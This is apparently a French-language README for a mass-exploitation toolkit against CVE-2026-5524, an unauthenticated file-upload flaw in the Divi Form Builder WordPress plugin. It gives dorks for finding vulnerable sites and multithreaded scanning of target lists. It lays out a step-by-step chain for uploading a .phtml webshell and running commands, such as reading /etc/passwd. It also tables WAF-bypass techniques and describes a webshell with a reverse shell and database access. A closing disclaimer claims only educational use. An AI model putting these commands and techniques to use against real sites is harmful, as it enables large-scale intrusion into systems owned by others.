
Boîte à outils d'exploitation massive pour CVE-2026-5524, une RCE par téléchargement de fichier non authentifié dans Divi Form Builder. Dispose d'un scan multi-thread, de techniques de contournement WAF, de déploiement de webshell personnalisé et d'exécution de commandes interactive.
| Champ | Valeur |
|---|
| CVE | 2026-5524 |
| CVSS | 9.8 (Critique) |
| Vecteur | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Version affectée | Divi Form Builder <= 5.1.8 |
| Version corrigée | 5.1.9 |
| Type | Téléversement de fichier non authentifié menant à une RCE |
| Chercheur | 0xd4rk5id3 - EnvoraSec |
Le plugin Divi Form Builder pour WordPress contient une vulnérabilité de téléversement arbitraire de fichier non authentifié. Le gestionnaire do_image_upload() transmet le paramètre POST acceptFileTypes, contrôlé par l'utilisateur, directement dans une expression régulière utilisée pour valider les extensions de fichiers. En fournissant une valeur telle que phtml, un attaquant peut contourner la règle .htaccess du plugin qui ne bloque que l'extension .php et téléverser un webshell avec une extension exécutable par PHP (.phtml, .phar, .php5, .php7, etc.).
Une fois le fichier placé dans /wp-content/uploads/de_fb_uploads/, Apache l'exécute en tant que PHP, ce qui permet à l'attaquant d'obtenir une exécution de code à distance avec les droits de l'utilisateur du serveur web.
Le problème est corrigé dans Divi Form Builder 5.1.9.
body="de_fb_obj" && body="fb_nonce"
http.html:"de_fb_obj" http.html:"fb_nonce"
inurl:"/wp-content/plugins/divi-form-builder/"
app:"WordPress" && body:"de_fb_obj"
services.http.response.body: "de_fb_obj"
Prérequis : Python 3.8 ou plus récent sous Linux, macOS ou WSL.
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 CVE-2026-5524.py -u https://target.com
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20
Pour les cibles derrière un WAF (NinjaFirewall, Wordfence, ModSecurity) ou avec une configuration Apache ou nginx durcie.
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug
Après un téléversement réussi, le script peut immédiatement exécuter une commande ou ouvrir un shell interactif.
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell
| Option | Description |
|---|---|
-u URL | URL de la cible unique |
-l FILE | Fichier contenant la liste des cibles, une URL par ligne |
-t N | Nombre de threads simultanés (défaut 10) |
--timeout N | Délai d'expiration des requêtes en secondes (défaut 15) |
-o FILE | Enregistrer les résultats dans un fichier JSONL |
--proxy URL | Acheminer le trafic via un proxy HTTP |
--nonce HASH | Utiliser un nonce fourni manuellement, ignorer la détection automatique |
--ext EXT | Forcer une seule extension au lieu de la liste complète de contournement |
--shell | Ouvrir un shell RCE interactif en cas de succès (cible unique uniquement) |
--cmd CMD | Exécuter une commande sur la cible, puis quitter |
--shell-file FILE | Téléverser un payload shell personnalisé au lieu de celui intégré |
--no-verify | Ignorer l'étape de vérification RCE post-téléversement |
--strict-verify | Confirmer que l'URL du shell renvoie HTTP 200 pour filtrer les faux positifs |
--user-ini | Téléverser un dropper .user.ini pour les environnements PHP-FPM |
--htaccess | Téléverser un réactivateur .htaccess pour les environnements Apache |
--aggressive | Activer toutes les techniques de contournement disponibles |
--null-byte | Inclure les tentatives avec octet nul et double extension |
--path-traversal | Tenter le téléversement dans les sous-répertoires /uploads/YYYY/MM/ |
--debug | Afficher les réponses HTTP brutes pour le diagnostic |
Le gestionnaire vulnérable construit une expression régulière à partir de l'entrée utilisateur sans assainissement.
public function do_image_upload() {
$accepted = $_POST['acceptFileTypes'];
$pattern = '/\\.(' . $accepted . ')$/i';
if (preg_match($pattern, $filename)) {
move_uploaded_file($tmp, $dest);
}
}
En envoyant acceptFileTypes=phtml, l'expression régulière résultante /\.(phtml)$/i correspond aux noms de fichiers se terminant par .phtml, même si le fichier .htaccess du plugin ne bloque que l'extension .php. Apache exécute ensuite le fichier téléversé en tant que PHP, ce qui produit une exécution de code à distance.
Explorez une page qui intègre un formulaire Divi Form Builder (/, /contact, /quote, etc.). Ajoutez un paramètre ?nocache=<random> pour neutraliser Varnish, WP Rocket et autres caches de pages qui serviraient sinon un nonce obsolète.
Extrayez la valeur fb_nonce de l'objet JavaScript localisé :
de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
Envoyez un formulaire multipart en POST vers /wp-admin/admin-ajax.php avec :
action=de_fb_image_upload
fb_nonce=<nonce>
acceptFileTypes=phtml
[email protected]
Lisez l'URL du fichier dans la réponse JSON :
{"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
Interrogez le shell avec une commande encodée en base64 :
curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
| # | Technique | Cibles |
|---|---|---|
| 1 | Extensions PHP alternatives .phtml, .phar, .php5, .php7, .php4, .pht, .shtml | Règle .htaccess du plugin qui ne bloque que .php |
| 2 | Variation de casse .PHTML, .PHP5, .PhTmL | Signatures WAF sensibles à la casse (NinjaFirewall) |
| 3 | Double extension .phtml.jpg, .php.jpg | Particularités de négociation de contenu d'Apache mod_mime |
| 4 | Octet nul .php%00.jpg, .phtml%00.txt | Anciennes versions de PHP (antérieures à 5.3.4) et certains analyseurs |
| 5 | Espace ou point final .php , .php. | IIS Windows et anciennes versions d'Apache |
| 6 | Usurpation du Content-Type application/octet-stream | WAF qui se basent sur l'en-tête Content-Type multipart |
| 7 | Téléverser un véritable .htaccess qui réactive PHP pour .gif, .png, .jpg, .txt, .html, etc. | Serveurs Apache avec AllowOverride All |
| 8 | Téléverser un .user.ini avec auto_prepend_file | Environnements PHP-FPM |
| 9 | Injection dans le nom de fichier via la manipulation de la limite multipart | Proxies et WAF qui ré-analysent le corps de la requête |
| 10 | Traversée de chemin ../shell.phtml dans le nom de fichier | Restrictions de répertoires du plugin |
Le script essaie chaque technique par ordre de priorité et, lorsque --aggressive est défini, tente chacune d'elles même après que le premier téléversement a signalé un succès.
| Composant | Technologie |
|---|---|
| Langage | Python 3.8+ |
| Client HTTP | requests |
| Gestion TLS | urllib3 en mode non sécurisé pour les certificats auto-signés |
| Concurrence | concurrent.futures.ThreadPoolExecutor pour le scan de masse |
| Analyse | re pour l'extraction du nonce, json pour le traitement des réponses |
| Encodage | base64 pour le paramètre de commande du webshell |
| CLI | argparse avec 19 options configurables |
| Composant | Technologie |
|---|---|
| Langage | PHP 7.0+ |
| Fonctions d'exécution | system(), shell_exec(), proc_open(), passthru(), popen() |
| Interface | Formulaire HTML simple, sans framework JavaScript |
| Fonctionnalités | Explorateur de fichiers, exécution de commande, accès à la base de données, reverse shell, .htaccess et .user.ini auto-installés |
| Taille | Environ 16 Ko |
| Niveaux de contournement | Six chemins d'exécution indépendants plus des payloads encodés |
cve-2026-5524/
|-- CVE-2026-5524.py Main exploit script
|-- bypass.phtml 16 KB multi-layer PHP webshell
|-- htaccess_enable.phtml Dropper that writes a re-enabling .htaccess
|-- user_ini.phtml Dropper that writes a .user.ini for PHP-FPM
|-- targets.txt Example target list
|-- pwned.jsonl Generated by the -o flag during mass scans
|-- requirements.txt Python dependencies
`-- README.md This document
+--------------------------------------------------+
| 1. Recon |
| GET /?nocache=<random> |
| Parse fb_nonce from de_fb_obj |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 2. Craft exploit |
| POST /wp-admin/admin-ajax.php |
| action=de_fb_image_upload |
| acceptFileTypes=phtml |
| [email protected] |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 3. Server accepts and stores file |
| /uploads/de_fb_uploads/<random>.phtml |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 4. Execute |
| GET shell.phtml?x=base64(command) |
| Remote code execution achieved |
+--------------------------------------------------+
Cet outil est fourni à des fins éducatives et pour une utilisation lors d'engagements de test d'intrusion autorisés. Des exemples d'utilisation acceptable incluent :
L'utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de tester est illégale dans pratiquement toutes les juridictions et est strictement interdite. L'auteur ne cautionne pas et n'assume aucune responsabilité en cas d'utilisation abusive de ce code.
J'ai la permission et je suis autorisé à effectuer ce pentest. (I have permission and I am authorized to perform this pentest.)
Les lois potentiellement applicables incluent la loi indonésienne UU ITE, le Computer Fraud and Abuse Act des États-Unis, la Convention sur la cybercriminalité de l'Union européenne et les législations équivalentes ailleurs. En cas de doute, obtenez d'abord une autorisation écrite.
Usage éducatif uniquement. Consultez la section avertissement pour les conditions complètes d'utilisation.